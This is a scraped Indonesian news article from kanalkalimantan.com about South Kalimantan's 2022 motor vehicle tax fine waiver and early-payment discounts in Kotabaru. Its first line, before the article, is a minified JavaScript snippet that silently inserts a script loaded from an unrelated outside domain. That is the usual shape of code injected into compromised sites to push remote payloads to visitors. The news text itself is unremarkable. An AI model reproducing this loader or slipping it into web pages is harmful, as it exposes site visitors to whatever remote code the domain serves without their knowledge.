(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KOTABARU – Terhitung mulai Tanggal 3 Oktober – 24 Desember 2022 Pemerintah Provinsi Kalimantan Selatan berikan pengurangan dan pembebasan denda PKB dan BBNKB pajak kendaraan bermotor.
Momentum pembebasan denda administrasi kendaraan bermotor yang berlaku se Kalsel hendaknya dimanfaatkan segera oleh wajib pajak. Pasalnya, selain mendapat diskon, ini juga sebagai antisipasi agar dapat terhindar dari penghapusan data registrasi Korlantas Polri.
Kepala UPPD Samsat Kotabaru, Muhammad Fahmi Arif memberikan imbauan agar masyarakat Kotabaru agar dapat memanfaatkan program ini sebaik mungkin. Tujuannya, juga agar lebih aman dalam melakukan aktivitas berkendara.
“Program penghapusan denda administrasi ini berlaku mulai 3 Oktober hingga 24 Desember 2022, jadi manfaatkan waktu dengan sebaik-baiknya,” ujarnya, baru-baru tadi.
Baca juga: Ribuan Santri Peringati Satu Abad Ponpes Rakha Amuntai dan Hari Santri Nasional
Terkait bakal adanya penghapusan data registrasi, ia menyampaikan agar setidaknya wajib pajak dapat membayarkan pajak kendaraan tepat waktu. Bahkan, relaksasi ini juga berlaku bagi mereka yang sampai ini menunggak.
“Juga berlaku bagi kendaraan roda dua, tiga dan empat. Untuk tidak terjadi penerapan itu, silah kan datang untuk melakukan pembayaran tunggakan,” imbaunya.
Mengingat letak wilayah Kotabaru diakui sangat luas, Fahmi, menuturkan, Samsat Kotabaru sudah memiliki kantor pembantu untuk memudahkan wajib pajak menjangkau transaksi pembayaran pajak kendaraan bermotor.
“Kami memiliki tiga kantor pembantu samsat, di antaranya untuk wilayah pesisir berada di Lontar. Sedangkan Kotabaru yang berada di daratan itu bisa mendatangi Serongga dan Sengayam yang berbatasan dengan Kaltim,” pungkasnya.
Baca juga: Posko Banjir Lamandau Siaga 1×24 Jam
Sekedar diketahui, bagi wajib pajak yang taat bayar, mendapat Pengurangan apabila dibayarkan mulai:
1. 30 hari sampai saat jatuh tempo diskon sebesar 5%
2. 31-60 hari sebelum jatuh tempo diskon sebesar 7,5%
3. 61-90 hari sebelum jatuh tempo diskon sebesar 10%
Kemudian kalau untuk sanksi administrasi itu dendanya dihapus, seperti Pembebasan sanksi Administrasi Denda keterlambatan PKB dan Pembebasan Pokok serta Sanksi Administrasi Denda BBNKNB atas penyerahan kepemilikan kedua dan seterusnya.(kanalkalimantan.com/ibnu)
Reporter: ibnu
Editor: cell
Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More
KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More
This website uses cookies.